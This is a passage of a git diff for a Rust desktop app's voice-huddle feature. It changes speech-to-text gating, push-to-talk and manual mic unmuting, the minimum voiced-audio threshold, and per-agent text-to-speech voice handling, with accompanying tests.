-    /// Synthesize text with the supplied reference voice.
-    ///
-    /// Pocket detects language from text and this model uses one synthesis
-    /// step, so `_lang` and `_steps` intentionally do not affect output.
-    pub fn synth_chunk(
-        &self,
-        text: &str,
-        _lang: &str,
-        style: &VoiceStyle,
-        _steps: usize,
-    ) -> Result<Vec<f32>, String> {
-        let Some(prepared) = prepare_april_prompt(text) else {
-            return Ok(Vec::new());
-        };
-        let mut engine = self
-            .inner
-            .lock()
-            .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?;
-        let chunks = engine.split_prompt(&prepared)?;
-        let mut samples = Vec::new();
-        for chunk in chunks {
-            let prepared = prepare_april_prompt(&chunk)
-                .ok_or_else(|| "Pocket TTS prompt chunk became empty".to_string())?;
-            samples.extend(engine.synth_chunk(&prepared, style)?);
-        }
-        Ok(samples)
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn desktop_model_is_april_int8_only() {
-        let info = april_model_info();
-        assert_eq!(info.max_token_per_chunk, 50);
-        assert_eq!(info.sample_rate, SAMPLE_RATE);
-        assert!(info
-            .artifacts
-            .iter()
-            .any(|artifact| artifact.filename == "flow_lm_main_int8.onnx"));
-        assert!(!info
-            .artifacts
-            .iter()
-            .any(|artifact| artifact.filename == "flow_lm_main.onnx"));
-    }
-
-    #[test]
-    #[ignore = "requires BUZZ_POCKET_TEST_MODEL_DIR"]
-    fn production_api_emits_non_silent_april_int8_pcm() {
-        let dir = std::env::var("BUZZ_POCKET_TEST_MODEL_DIR")
-            .expect("set BUZZ_POCKET_TEST_MODEL_DIR to an April INT8 model directory");
-        let engine = load_text_to_speech(&dir).expect("load April INT8 engine");
-        let style = load_voice_style(&Path::new(&dir).join("reference_sample.wav"))
-            .expect("load reference voice");
-        let samples = engine
-            .synth_chunk("Bright birds begin beside the bay.", "en", &style, 1)
-            .expect("synthesize through the production API");
-
-        assert!(!samples.is_empty());
-        assert!(samples.iter().all(|sample| sample.is_finite()));
-        assert!(samples.iter().any(|sample| sample.abs() > 1.0e-6));
-    }
-}
diff --git a/desktop/src-tauri/src/huddle/relay_api.rs b/desktop/src-tauri/src/huddle/relay_api.rs
index eb3fea92d5..3f2aa76a56 100644
--- a/desktop/src-tauri/src/huddle/relay_api.rs
+++ b/desktop/src-tauri/src/huddle/relay_api.rs
@@ -164,7 +164,8 @@ pub(crate) async fn connect_audio_relay(
     let cancel_clone = cancel.clone();
     let (pcm_tx, pcm_rx) = tokio::sync::mpsc::channel::<Vec<u8>>(50);
     let output_device_name = state
-        .audio_output_device
+        .huddle_audio
+        .output_device
         .lock()
         .unwrap_or_else(|e| e.into_inner())
         .clone();
diff --git a/desktop/src-tauri/src/huddle/state.rs b/desktop/src-tauri/src/huddle/state.rs
index f0a2227ca8..7acf5fe633 100644
--- a/desktop/src-tauri/src/huddle/state.rs
+++ b/desktop/src-tauri/src/huddle/state.rs
@@ -4,27 +4,30 @@
 //! phase enum, voice input mode, and response types.
 
 use serde::{Deserialize, Serialize};
+use std::collections::BTreeMap;
 use std::sync::{
     atomic::{AtomicBool, AtomicU64, Ordering},
     Arc, Mutex,
 };
 
+use super::agent_voice::AgentVoiceSettings;
 use super::{stt, tts};
 
 /// Voice input mode: push-to-talk (PTT) or voice-activity detection (VAD).
 ///
-/// PTT: mic is gated by a global shortcut (Ctrl+Space). Pressing the key sets
+/// PTT (the default): mic is gated by a global shortcut (Ctrl+Space). Pressing the key sets
 /// `ptt_active` and immediately cancels any playing TTS. Releasing the key
 /// (after a 200 ms delay) stops mic capture and flushes the utterance.
 ///
 /// VAD (default): the earshot VAD runs continuously and speech is accumulated
-/// whenever the probability exceeds the threshold. Barge-in is enabled in this
-/// mode.
+/// whenever the probability exceeds the threshold. While local TTS is playing,
+/// mic frames are discarded because VAD has no echo reference with which to
+/// distinguish the app's own playback from a human interruption.
 #[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)]
 #[serde(rename_all = "snake_case")]
 pub enum VoiceInputMode {
-    PushToTalk,
     #[default]
+    PushToTalk,
     VoiceActivity,
 }
 
@@ -44,6 +47,9 @@ pub struct HuddleState {
     pub phase: HuddlePhase,
     pub parent_channel_id: Option<String>,
     pub ephemeral_channel_id: Option<String>,
+    /// Root event for the huddle's visible parent-channel thread. Transcript
+    /// messages reply here while audio coordination stays ephemeral.
+    pub huddle_thread_event_id: Option<String>,
     /// Cancellation token for the audio relay WS task.
     #[serde(skip)]
     pub audio_ws_cancel: Option<tokio_util::sync::CancellationToken>,
@@ -67,6 +73,8 @@ pub struct HuddleState {
         deserialize_with = "deserialize_agent_pubkeys"
     )]
     pub agent_pubkeys: Arc<Mutex<Vec<String>>>,
+    /// Local, huddle-scoped playback choices for each participating agent.
+    pub agent_voice_settings: BTreeMap<String, AgentVoiceSettings>,
     /// Active STT pipeline — not serialized, not cloned.
     #[serde(skip)]
     pub stt_pipeline: Option<Arc<stt::SttPipeline>>,
@@ -127,6 +135,10 @@ pub struct HuddleState {
     /// Shared with the STT pipeline for mic gating.
     #[serde(skip)]
     pub ptt_active: Arc<AtomicBool>,
+    /// True while the clickable microphone control is manually unmuted.
+    /// In PTT mode, either this flag or `ptt_active` opens the STT gate.
+    #[serde(skip)]
+    pub manual_mic_unmuted: Arc<AtomicBool>,
 }
 
 fn serialize_agent_pubkeys<S>(v: &Arc<Mutex<Vec<String>>>, s: S) -> Result<S::Ok, S::Error>
@@ -161,10 +173,12 @@ impl Clone for HuddleState {
             phase: self.phase.clone(),
             parent_channel_id: self.parent_channel_id.clone(),
             ephemeral_channel_id: self.ephemeral_channel_id.clone(),
+            huddle_thread_event_id: self.huddle_thread_event_id.clone(),
             audio_ws_cancel: None,    // Never clone handles.
             audio_relay_pcm_tx: None, // Never clone handles.
             participants: self.participants.clone(),
             agent_pubkeys: Arc::new(Mutex::new(agent_pubkeys_snapshot)),
+            agent_voice_settings: self.agent_voice_settings.clone(),
             stt_pipeline: None, // Never clone the pipeline handle.
             tts_pipeline: None, // Never clone the pipeline handle.
             is_creator: self.is_creator,
@@ -180,6 +194,7 @@ impl Clone for HuddleState {
             session_generation: Arc::clone(&self.session_generation),
             voice_input_mode: self.voice_input_mode.clone(),
             ptt_active: Arc::clone(&self.ptt_active),
+            manual_mic_unmuted: Arc::clone(&self.manual_mic_unmuted),
         }
     }
 }
@@ -190,10 +205,12 @@ impl Default for HuddleState {
             phase: HuddlePhase::Idle,
             parent_channel_id: None,
             ephemeral_channel_id: None,
+            huddle_thread_event_id: None,
             audio_ws_cancel: None,
             audio_relay_pcm_tx: None,
             participants: Vec::new(),
             agent_pubkeys: Arc::new(Mutex::new(Vec::new())),
+            agent_voice_settings: BTreeMap::new(),
             stt_pipeline: None,
             tts_pipeline: None,
             is_creator: false,
@@ -209,6 +226,7 @@ impl Default for HuddleState {
             session_generation: Arc::new(AtomicU64::new(0)),
             voice_input_mode: VoiceInputMode::default(),
             ptt_active: Arc::new(AtomicBool::new(false)),
+            manual_mic_unmuted: Arc::new(AtomicBool::new(true)),
         }
     }
 }
@@ -288,9 +306,11 @@ impl HuddleState {
     pub(crate) fn reset_preserving_generation(&mut self) {
         let gen = Arc::clone(&self.session_generation);
         let huddle_generation = self.huddle_generation;
+        let tts_enabled = self.tts_enabled;
         *self = Self::default();
         self.session_generation = gen;
         self.huddle_generation = huddle_generation;
+        self.tts_enabled = tts_enabled;
     }
 }
 
@@ -318,6 +338,13 @@ mod tests {
         assert!(!state.maybe_auto_enable_transcription_for_agents());
     }
 
+    #[test]
+    fn defaults_to_push_to_talk_with_an_open_microphone() {
+        let state = HuddleState::default();
+        assert_eq!(state.voice_input_mode, super::VoiceInputMode::PushToTalk);
+        assert!(state.manual_mic_unmuted.load(Ordering::Acquire));
+    }
+
     #[test]
     fn explicit_user_disable_is_not_undone_by_agent_presence() {
         let mut state = HuddleState::default();
@@ -430,6 +457,18 @@ mod tests {
         assert!(state.owns_huddle_lifetime(replacement_generation, super::HuddlePhase::Connecting));
     }
 
+    #[test]
+    fn teardown_preserves_installation_global_tts_preference() {
+        let mut state = HuddleState {
+            tts_enabled: false,
+            phase: super::HuddlePhase::Active,
+            ..HuddleState::default()
+        };
+        state.reset_preserving_generation();
+        assert!(!state.tts_enabled);
+        assert_eq!(state.phase, super::HuddlePhase::Idle);
+    }
+
     #[test]
     fn stale_constructor_cannot_clear_replacement_sentinel() {
         let mut state = HuddleState::default();
diff --git a/desktop/src-tauri/src/huddle/stt.rs b/desktop/src-tauri/src/huddle/stt.rs
index 6f502ca72c..70a8088640 100644
--- a/desktop/src-tauri/src/huddle/stt.rs
+++ b/desktop/src-tauri/src/huddle/stt.rs
@@ -63,17 +63,18 @@ impl SttPipeline {
     ///
     /// `tts_active` is a shared flag set by the TTS pipeline while audio is
     /// playing. The STT worker uses it to:
-    ///   - discard accumulated speech (echo prevention / barge-in gating)
-    ///   - apply a 200 ms cooldown after TTS stops before re-enabling STT
-    ///   - detect barge-in: speech onset during TTS → set `tts_cancel`
+    ///   - discard accumulated speech so local playback cannot feed back into STT
+    ///   - apply a cooldown after TTS stops before re-enabling STT
     ///
-    /// `tts_cancel` (optional) is the TTS pipeline's cancel flag. When the STT
-    /// worker detects speech onset while TTS is active, it sets this flag to
-    /// stop playback immediately (barge-in). Pass `None` if TTS is unavailable.
+    /// Open-mic VAD cannot distinguish a nearby human from the app's own native
+    /// TTS playback because it has no acoustic echo reference. Local mic frames
+    /// therefore never cancel TTS. Push-to-talk and remote participant speech
+    /// remain explicit, reliable barge-in paths.
     ///
-    /// `ptt_active` (optional) is the push-to-talk flag. When `Some`, the STT
-    /// pipeline only accumulates speech while the flag is true (key held).
-    /// When `None`, the pipeline runs in continuous VAD mode.
+    /// `ptt_active` and `manual_mic_unmuted` are present when the PTT shortcut
+    /// is enabled. The pipeline accepts speech while either input path is open;
+    /// manual unmute uses normal VAD flushing while a shortcut hold is grouped
+    /// into one utterance.
     ///
     /// Returns `Err` only if the thread cannot be spawned (OS error).
     /// If model files are missing, the worker logs and exits cleanly —
@@ -86,16 +87,16 @@ impl SttPipeline {
     pub fn new(
         model_dir: PathBuf,
         tts_active: Arc<AtomicBool>,
-        tts_cancel: Option<Arc<AtomicBool>>,
         ptt_active: Option<Arc<AtomicBool>>,
+        manual_mic_unmuted: Option<Arc<AtomicBool>>,
     ) -> Result<(Self, tokio_mpsc::Receiver<String>), String> {
         let (audio_tx, audio_rx) = mpsc::sync_channel::<Vec<u8>>(AUDIO_QUEUE_DEPTH);
         let (text_tx, text_rx) = tokio_mpsc::channel::<String>(64);
         let shutdown = Arc::new(AtomicBool::new(false));
 
         let shutdown_worker = Arc::clone(&shutdown);
-        let tts_cancel_worker = tts_cancel.as_ref().map(Arc::clone);
         let ptt_active_worker = ptt_active.as_ref().map(Arc::clone);
+        let manual_mic_unmuted_worker = manual_mic_unmuted.as_ref().map(Arc::clone);
         let handle = thread::Builder::new()
             .name("stt-worker".into())
             .spawn(move || {
@@ -105,8 +106,8 @@ impl SttPipeline {
                     text_tx,
                     shutdown_worker,
                     tts_active,
-                    tts_cancel_worker,
                     ptt_active_worker,
+                    manual_mic_unmuted_worker,
                 )
             })
             .map_err(|e| format!("failed to spawn stt-worker thread: {e}"))?;
@@ -167,28 +168,26 @@ impl Drop for SttPipeline {
 /// Previous value (28 frames / 450 ms) felt sluggish in conversation.
 const SILENCE_FLUSH_FRAMES: usize = 19;
 
-/// Consecutive VAD speech frames required before triggering barge-in during TTS.
-/// 20 frames × 256 samples / 16 kHz ≈ 320 ms — must be long enough to filter
-/// speaker-to-mic feedback (TTS audio bleeding through the mic) while still
-/// catching real human interruptions. 80 ms (previous: 5 frames) was too
-/// aggressive — laptop speakers without headphones triggered false barge-in
-/// within the first word of TTS playback.
-const BARGE_IN_DEBOUNCE_FRAMES: usize = 20;
-
 /// earshot requires exactly 256 samples per frame at 16 kHz.
 const VAD_FRAME_SAMPLES: usize = 256;
 
 /// VAD probability threshold — above this is considered speech.
 const VAD_THRESHOLD: f32 = 0.5;
 
+/// Minimum voiced audio needed before an utterance may be decoded.
+/// One earshot false-positive frame is only 16 ms; requiring 192 ms prevents
+/// silence/room-noise blips from reaching Parakeet and becoming hallucinated
+/// transcript text while still preserving short replies such as "yes".
+const MIN_VOICED_FRAMES: usize = 12;
+
 /// How long the worker waits on the audio channel before checking the shutdown flag.
 const RECV_TIMEOUT: Duration = Duration::from_millis(50);
 
-/// 50 ms cooldown after TTS stops before STT re-enables.
+/// 150 ms cooldown after TTS stops before STT re-enables.
 /// Prevents the tail of TTS audio from being transcribed as speech.
-/// Previous value (200 ms) was eating the first word when the user spoke
-/// immediately after the agent finished.
-const TTS_COOLDOWN: Duration = Duration::from_millis(50);
+/// This remains shorter than the previous 200 ms gate that ate the first word,
+/// but is long enough for speaker/AEC tail audio to leave the microphone path.
+const TTS_COOLDOWN: Duration = Duration::from_millis(150);
 
 /// Number of ONNX Runtime intra-op threads used by the offline recognizer.
 ///
@@ -207,8 +206,8 @@ fn stt_worker(
     text_tx: tokio_mpsc::Sender<String>,
     shutdown: Arc<AtomicBool>,
     tts_active: Arc<AtomicBool>,
-    tts_cancel: Option<Arc<AtomicBool>>,
     ptt_active: Option<Arc<AtomicBool>>,
+    manual_mic_unmuted: Option<Arc<AtomicBool>>,
 ) {
     // ── 1. Initialise rubato resampler (48 kHz → 16 kHz, mono) ───────────────
     use rubato::{Fft, FixedSync, Resampler};
@@ -274,16 +273,19 @@ fn stt_worker(
     let mut silence_frames: usize = 0;
     // Whether we're currently in a speech segment.
     let mut in_speech = false;
-    // Consecutive speech frames seen during TTS — used for barge-in debounce.
-    let mut barge_in_frames: usize = 0;
-    // Timestamp when TTS last stopped — used for the 200 ms cooldown.
+    // Number of frames earshot classified as voiced in the current segment.
+    let mut voiced_frames = 0;
+    // Timestamp when TTS last stopped — used for the playback-tail cooldown.
     let mut tts_stopped_at: Option<std::time::Instant> = None;
 
     // ── 5. Main loop ──────────────────────────────────────────────────────────
     let mut tts_was_active = false;
-    let mut ptt_was_active = ptt_active
+    let mut transmit_was_active = ptt_active
         .as_ref()
-        .is_some_and(|p| p.load(Ordering::Acquire));
+        .is_some_and(|ptt| ptt.load(Ordering::Acquire))
+        || manual_mic_unmuted
+            .as_ref()
+            .is_some_and(|manual| manual.load(Ordering::Acquire));
     loop {
         // Check shutdown flag before blocking.
         if shutdown.load(Ordering::Acquire) {
@@ -298,19 +300,22 @@ fn stt_worker(
         }
         tts_was_active = tts_now;
 
-        // Track PTT transitions — flush accumulated speech when key is released.
-        // The worklet stops sending frames when PTT is inactive, so the normal
-        // silence-accumulation flush path never runs. We must flush here on the
-        // active→inactive edge to avoid buffering speech across PTT presses.
+        // Track the combined manual/PTT transmission edge. When both paths
+        // close, the worklet stops sending frames, so flush here rather than
+        // waiting for silence that will never arrive.
         if let Some(ref ptt) = ptt_active {
-            let ptt_now = ptt.load(Ordering::Acquire);
-            if ptt_was_active && !ptt_now && in_speech && !speech_buf.is_empty() {
-                flush_to_stt(&speech_buf, &recognizer, &text_tx);
+            let transmit_now = ptt.load(Ordering::Acquire)
+                || manual_mic_unmuted
+                    .as_ref()
+                    .is_some_and(|manual| manual.load(Ordering::Acquire));
+            if transmit_was_active && !transmit_now && in_speech && !speech_buf.is_empty() {
+                flush_to_stt(&speech_buf, voiced_frames, &recognizer, &text_tx);
                 speech_buf.clear();
                 silence_frames = 0;
                 in_speech = false;
+                voiced_frames = 0;
             }
-            ptt_was_active = ptt_now;
+            transmit_was_active = transmit_now;
         }
 
         // Use recv_timeout so we can periodically check the shutdown flag.
@@ -342,13 +347,13 @@ fn stt_worker(
                     &mut speech_buf,
                     &mut silence_frames,
                     &mut in_speech,
-                    &mut barge_in_frames,
+                    &mut voiced_frames,
                     &recognizer,
                     &text_tx,
                     &tts_active,
-                    tts_cancel.as_deref(),
                     &mut tts_stopped_at,
                     ptt_active.as_ref(),
+                    manual_mic_unmuted.as_ref(),
                 );
             }
         }
@@ -387,15 +392,13 @@ fn resample_chunk(resampler: &mut rubato::Fft<f32>, chunk_48k: &[f32]) -> Vec<f3
 /// Flushes to STT when silence exceeds threshold.
 ///
 /// When `tts_active` is set:
-///   - In PTT mode: skip accumulation (PTT press handles TTS cancellation).
-///   - In VAD mode: speech onset triggers barge-in via `tts_cancel`.
+///   - Discard all local mic input so native playback cannot trigger itself.
+///   - In PTT mode, the shortcut handler remains the explicit cancellation path.
 ///   - After TTS stops, a cooldown prevents tail audio from being transcribed.
 ///
-/// When `ptt_active` is `Some`:
-///   - VAD `is_speech` is ANDed with the PTT flag — when the key is released,
-///     `is_speech` becomes false, silence_frames accumulates, and the existing
-///     flush logic kicks in naturally. The 200 ms release delay + ~300 ms
-///     silence flush gives a natural utterance tail.
+/// When `ptt_active` is `Some`, input is accepted while either the shortcut is
+/// held or the microphone is manually unmuted. Manual-open input keeps normal
+/// VAD pause flushing; shortcut-only input flushes when the shortcut closes.
 #[allow(clippy::too_many_arguments)]
 fn process_16k_samples(
     samples: &[f32],
@@ -404,13 +407,13 @@ fn process_16k_samples(
     speech_buf: &mut Vec<f32>,
     silence_frames: &mut usize,
     in_speech: &mut bool,
-    barge_in_frames: &mut usize,
+    voiced_frames: &mut usize,
     recognizer: &sherpa_onnx::OfflineRecognizer,
     text_tx: &tokio_mpsc::Sender<String>,
     tts_active: &Arc<AtomicBool>,
-    tts_cancel: Option<&AtomicBool>,
     tts_stopped_at: &mut Option<std::time::Instant>,
     ptt_active: Option<&Arc<AtomicBool>>,
+    manual_mic_unmuted: Option<&Arc<AtomicBool>>,
 ) {
     leftover.extend_from_slice(samples);
 
@@ -420,51 +423,27 @@ fn process_16k_samples(
         let prob = vad.predict_f32(&clamped);
         let is_speech = prob > VAD_THRESHOLD;
 
-        // PTT gating: when PTT key is not held, treat as silence.
-        // This causes natural flush when the key is released — silence_frames
-        // accumulates and the existing flush logic kicks in after
-        // SILENCE_FLUSH_FRAMES. The 200 ms release delay + ~300 ms silence
-        // flush gives a natural utterance tail.
+        let manually_open = manual_mic_unmuted.is_some_and(|manual| manual.load(Ordering::Acquire));
+        // Shortcut-enabled mode accepts input from either the held shortcut or
+        // a manually open microphone.
         let is_speech = if let Some(ptt) = ptt_active {
-            is_speech && ptt.load(Ordering::Acquire)
+            is_speech && (ptt.load(Ordering::Acquire) || manually_open)
         } else {
             is_speech
         };
 
         let tts_playing = tts_active.load(Ordering::Acquire);
 
-        // While TTS is playing: skip accumulation (echo prevention).
+        // While TTS is playing, discard local mic input. The native TTS output
+        // is not available as an echo-cancellation reference to this worker, so
+        // VAD cannot reliably tell speaker feedback from a human interruption.
+        // Push-to-talk and remote participant audio provide the intentional
+        // cancellation paths instead.
         if tts_playing {
-            if ptt_active.is_some() {
-                // PTT mode — PTT press handles TTS cancellation directly
-                // (via the global shortcut handler). Just skip accumulation.
-                *in_speech = false;
-                *barge_in_frames = 0;
-                speech_buf.clear();
-                *silence_frames = 0;
-                continue;
-            }
-
-            // VAD mode — barge-in detection.
-            // Without acoustic echo cancellation, this requires a longer
-            // debounce (BARGE_IN_DEBOUNCE_FRAMES ≈ 320 ms) to filter
-            // speaker-to-mic feedback.
-            if is_speech {
-                *barge_in_frames += 1;
-                if *barge_in_frames >= BARGE_IN_DEBOUNCE_FRAMES {
-                    // Real speech detected during TTS — trigger barge-in.
-                    if let Some(cancel) = tts_cancel {
-                        cancel.store(true, Ordering::Release);
-                    }
-                    *barge_in_frames = 0;
-                }
-            } else {
-                *barge_in_frames = 0;
-            }
-            // Don't accumulate speech during TTS (echo prevention).
             *in_speech = false;
             speech_buf.clear();
             *silence_frames = 0;
+            *voiced_frames = 0;
             continue;
         }
 
@@ -477,44 +456,45 @@ fn process_16k_samples(
                 }
                 speech_buf.clear();
                 *silence_frames = 0;
-                *barge_in_frames = 0;
+                *voiced_frames = 0;
                 continue;
             } else {
                 // Cooldown expired — clear the timer and reset all segment state.
                 *tts_stopped_at = None;
                 *in_speech = false;
                 *silence_frames = 0;
-                *barge_in_frames = 0;
+                *voiced_frames = 0;
             }
         }
 
         if is_speech {
             *silence_frames = 0;
             *in_speech = true;
+            *voiced_frames += 1;
             speech_buf.extend_from_slice(&frame);
 
             // OOM guard: flush and reset if the buffer exceeds 30 s of audio.
             if speech_buf.len() >= MAX_SPEECH_SAMPLES {
-                flush_to_stt(speech_buf, recognizer, text_tx);
+                flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx);
                 speech_buf.clear();
                 *silence_frames = 0;
                 *in_speech = false;
+                *voiced_frames = 0;
             }
         } else if *in_speech {
             // Still accumulate during brief silence gaps.
             speech_buf.extend_from_slice(&frame);
             *silence_frames += 1;
 
-            // In PTT mode, don't flush on silence — accumulate the entire
-            // key-hold as one utterance. The PTT release edge in the main
-            // loop handles the flush. In VAD mode, flush after the silence
-            // threshold so each natural pause becomes a separate message.
-            if ptt_active.is_none() && *silence_frames >= SILENCE_FLUSH_FRAMES {
+            // A manually open microphone behaves like normal VAD. A
+            // shortcut-only transmission stays grouped until key release.
+            if (ptt_active.is_none() || manually_open) && *silence_frames >= SILENCE_FLUSH_FRAMES {
                 // End of utterance — transcribe.
-                flush_to_stt(speech_buf, recognizer, text_tx);
+                flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx);
                 speech_buf.clear();
                 *silence_frames = 0;
                 *in_speech = false;
+                *voiced_frames = 0;
             }
         }
         // If not in speech and not accumulating, just discard the frame.
@@ -527,10 +507,11 @@ fn process_16k_samples(
 /// The tokio channel's `blocking_send` is safe to call from sync contexts.
 fn flush_to_stt(
     speech_buf: &[f32],
+    voiced_frames: usize,
     recognizer: &sherpa_onnx::OfflineRecognizer,
     text_tx: &tokio_mpsc::Sender<String>,
 ) {
-    if speech_buf.is_empty() {
+    if speech_buf.is_empty() || !has_enough_voiced_audio(voiced_frames) {
         return;
     }
 
@@ -550,6 +531,10 @@ fn flush_to_stt(
     }
 }
 
+fn has_enough_voiced_audio(voiced_frames: usize) -> bool {
+    voiced_frames >= MIN_VOICED_FRAMES
+}
+
 /// Convert raw bytes (f32 LE) to f32 samples.
 /// Caller should ensure `bytes.len() % 4 == 0`; extra bytes are silently truncated.
 ///
@@ -565,3 +550,15 @@ fn bytes_to_f32(bytes: &[u8]) -> Vec<f32> {
 
 // drain_until_shutdown lives in super (huddle/mod.rs) — shared with tts.rs.
 use super::drain_until_shutdown;
+
+#[cfg(test)]
+mod tests {
+    use super::{has_enough_voiced_audio, MIN_VOICED_FRAMES};
+
+    #[test]
+    fn short_vad_blips_do_not_reach_the_recognizer() {
+        assert!(!has_enough_voiced_audio(1));
+        assert!(!has_enough_voiced_audio(MIN_VOICED_FRAMES - 1));
+        assert!(has_enough_voiced_audio(MIN_VOICED_FRAMES));
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/tts.rs b/desktop/src-tauri/src/huddle/tts.rs
index f084cca6d5..6a56f85444 100644
--- a/desktop/src-tauri/src/huddle/tts.rs
+++ b/desktop/src-tauri/src/huddle/tts.rs
@@ -35,20 +35,41 @@
 //! can gate microphone input while the agent is speaking.
 
 use std::{
+    collections::{HashMap, VecDeque},
     num::NonZero,
     path::PathBuf,
     sync::{
-        atomic::{AtomicBool, Ordering},
+        atomic::{AtomicBool, AtomicU64, Ordering},
         mpsc::{self, SyncSender},
         Arc, Mutex, MutexGuard, PoisonError,
     },
     thread,
-    time::Duration,
+    time::{Duration, Instant},
 };
 
-use super::pocket::{load_text_to_speech, load_voice_style, SAMPLE_RATE, VOICE_FILE_EXT};
+use super::pocket::{
+    load_text_to_speech, load_voice_style, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT,
+};
 use super::preprocessing::{preprocess_for_tts, split_sentences};
 
+#[path = "tts_voice_transition.rs"]
+mod voice_transition;
+use voice_transition::*;
+#[path = "tts_startup.rs"]
+mod startup;
+use startup::await_worker_startup;
+#[path = "tts_audio.rs"]
+mod audio;
+use audio::*;
+#[path = "tts_activity.rs"]
+mod activity;
+use activity::*;
+#[path = "tts_pipeline_controls.rs"]
+mod pipeline_controls;
+#[path = "tts_speaker_cancellation.rs"]
+mod speaker_cancellation;
+use speaker_cancellation::*;
+
 // ── Constants ─────────────────────────────────────────────────────────────────
 
 /// Maximum number of queued text items.
@@ -56,15 +77,16 @@ use super::preprocessing::{preprocess_for_tts, split_sentences};
 /// TTS can play it. Excess items are dropped with a warning.
 const TEXT_QUEUE_DEPTH: usize = 8;
 
-/// How long the worker waits on the text channel before checking the shutdown flag.
+/// How long the worker waits before checking the shutdown flag.
 const RECV_TIMEOUT: Duration = Duration::from_millis(100);
-
 /// Poll interval of the barge-in monitor thread. Bounds flag-to-silence
 /// latency: a cancel is noticed within one tick, and rodio's internal
 /// `periodic_access` wrapper stops the in-flight source within a further
 /// ~5 ms — so playing audio dies ~15 ms after the flag is set, even while
 /// the worker is blocked inside `synth_chunk`.
 const MONITOR_TICK: Duration = Duration::from_millis(10);
+const SPEAKER_ACTIVITY_TICK: Duration = Duration::from_millis(50);
+const AUDIO_PRIME_TIMEOUT: Duration = Duration::from_secs(2);
 
 /// Pocket TTS is a one-step consistency model, not diffusion. Kept for API compat.
 const SYNTH_STEPS: usize = 1;
@@ -109,6 +131,16 @@ const MAX_CHUNK_CHARS: usize = 200;
 /// Injected as a silent buffer between each synthesized sentence chunk.
 const INTER_SENTENCE_SILENCE: f32 = 0.1;
 
+type WorkerControlState = (
+    Arc<AtomicBool>,
+    Arc<AtomicBool>,
+    WorkerCancelSignals,
+    SpeakerGenerations,
+    ActiveSpeaker,
+    SpeakerCancellation,
+    PlaybackProbe,
+);
+
 // ── Public pipeline handle ────────────────────────────────────────────────────
 
 /// Handle to the running TTS pipeline.
@@ -117,7 +149,7 @@ const INTER_SENTENCE_SILENCE: f32 = 0.1;
 #[derive(Debug)]
 pub struct TtsPipeline {
     /// Send preprocessed text into the pipeline.
-    text_tx: SyncSender<String>,
+    text_tx: SyncSender<QueuedText>,
     /// `true` while the agent is speaking. Shared with the STT pipeline for gating.
     #[allow(dead_code)]
     pub tts_active: Arc<AtomicBool>,
@@ -127,101 +159,113 @@ pub struct TtsPipeline {
     /// Kept alive here so the Arc isn't dropped — the worker holds a clone.
     #[allow(dead_code)]
     cancel: Arc<AtomicBool>,
-    /// Voice name (e.g. "reference_sample"). Stored for future voice-switching support.
-    #[allow(dead_code)]
-    voice: String,
+    /// Internal cancellation used only for voice changes. Kept separate so a
+    /// concurrent human barge-in always clears every queued message.
+    voice_cancel: Arc<AtomicBool>,
+    /// Selected manifest voice. The worker reloads only the lightweight style
+    /// when this changes; the warmed Pocket engine and audio player stay alive.
+    voice: Arc<Mutex<String>>,
+    /// Tags messages so a voice change drops only pre-change queue entries.
+    voice_generation: Arc<AtomicU64>,
+    /// Per-agent generations let removal invalidate that agent's queued and
+    /// in-flight text without poisoning speech queued after the agent rejoins.
+    speaker_generations: SpeakerGenerations,
+    /// Speaker whose audio currently owns the shared player queue.
+    active_speaker: ActiveSpeaker,
+    /// Targeted cancellation used when an agent leaves the huddle.
+    speaker_cancel: SpeakerCancellation,
+    /// Shared player handle used to reject Stop clicks after playback drains.
+    playback_probe: PlaybackProbe,
+    /// Completed after the worker drains pre-change text and installs the new style.
+    voice_change_ack: VoiceChangeAck,
     /// Worker thread handle — taken on drop to join cleanly.
     thread: Option<thread::JoinHandle<()>>,
 }
 
 impl TtsPipeline {
-    /// Spawn the TTS pipeline thread using the default voice.
+    /// Spawn the TTS pipeline thread with a manifest-backed voice name.
     ///
-    /// `model_dir` must contain the Pocket TTS files declared by `huddle::models`
-    /// (the five ONNX sessions, the two JSON tables, and `<voice>.wav`).
-    ///
-    /// `tts_active` is set to `true` while audio is playing and `false` when idle.
-    /// Pass the same `Arc` to the STT pipeline to gate microphone input.
-    ///
-    /// `cancel` is the shared barge-in flag from `HuddleState.tts_cancel`. Pass the
-    /// same `Arc` to the STT pipeline so both sides reference the same flag for the
-    /// entire huddle session — no stale references after pipeline restarts.
-    pub fn new(
-        model_dir: PathBuf,
-        tts_active: Arc<AtomicBool>,
-        cancel: Arc<AtomicBool>,
-        output_device: Option<String>,
-    ) -> Result<Self, String> {
-        use super::pocket::DEFAULT_VOICE;
-        Self::new_with_voice(model_dir, tts_active, cancel, DEFAULT_VOICE, output_device)
-    }
-
-    /// Spawn the TTS pipeline thread with a specific voice name. Today only the
-    /// bundled default voice (see `pocket::DEFAULT_VOICE`) is shipped; other
-    /// names will surface a clear error from `load_voice_style`.
+    /// `cancel` is shared with STT for barge-in. The same handle survives voice
+    /// changes so the warmed Pocket engine is retained.
     pub fn new_with_voice(
         model_dir: PathBuf,
         tts_active: Arc<AtomicBool>,
         cancel: Arc<AtomicBool>,
         voice: &str,
         output_device: Option<String>,
+        activity_app: Option<tauri::AppHandle>,
     ) -> Result<Self, String> {
-        let (text_tx, text_rx) = mpsc::sync_channel::<String>(TEXT_QUEUE_DEPTH);
+        let (text_tx, text_rx) = mpsc::sync_channel::<QueuedText>(TEXT_QUEUE_DEPTH);
         let shutdown = Arc::new(AtomicBool::new(false));
-        // cancel is passed in from HuddleState.tts_cancel — shared with STT for barge-in.
+        // cancel is passed in from HuddleState.tts_cancel — shared with remote
+        // participant interruption and the push-to-talk shortcut.
 
         let shutdown_worker = Arc::clone(&shutdown);
         let cancel_worker = Arc::clone(&cancel);
+        let voice_cancel = Arc::new(AtomicBool::new(false));
+        let worker_voice_cancel = Arc::clone(&voice_cancel);
         let tts_active_worker = Arc::clone(&tts_active);
-        let voice_name = voice.to_string();
+        let voice = Arc::new(Mutex::new(voice.to_string()));
+        let voice_worker = Arc::clone(&voice);
+        let voice_generation = Arc::new(AtomicU64::new(1));
